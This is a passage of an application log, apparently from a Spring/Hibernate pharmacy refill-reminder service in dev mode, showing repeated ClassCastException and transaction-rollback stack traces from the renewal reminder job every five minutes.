org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:30:00 INFO NextRefillReminderJob:46 - 